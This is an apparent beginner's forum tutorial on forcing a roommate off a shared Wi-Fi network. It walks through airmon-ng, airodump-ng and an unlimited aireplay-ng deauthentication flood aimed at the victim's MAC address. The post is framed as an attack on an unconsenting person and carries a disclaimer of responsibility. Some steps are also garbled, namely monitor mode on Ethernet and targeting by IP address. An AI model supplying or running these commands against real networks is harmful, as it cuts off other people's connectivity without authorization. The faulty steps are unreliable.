This is my first post please tell me what I can improve. (I don't claim any of the images. I tried taking screen shots but it froze my computer. ) I will be using wlan0 because thats my wireless but use yours.
I'm going to tech you have to kick that annoying room mate of the Internet. (I'M NOT RESPONSIBLE FOR ANY THING YOU DO WITH THIS INFO.)
open up a terminal and type airmon-ng start wlan0 (or eth0 if your using Ethernet.) (Some times you might have to type airmon-ng check kill)
Next type airodump-ng wlan0 then find your Internet copy its bssid then type airodump-ng --bssid (your bssid) wlan0. It will show your victims mac.
Now if you know their IP address you don't need to use airodump-ng.
If you know their ip address you can type aireplay-ng --deauth 0 -a (networks bssid) -k (Their ip address)
If your going to use their mac address type this aireplay-ng --deauth 0 -a (networks bssid) -c (Their mac address)
The 0 in Deauth 0 means keep deauth them until you stop it with CTRL C.
Hope you enjoyed this tutorial if you need help just comment whats wrong and I will get back to you as fast as possible.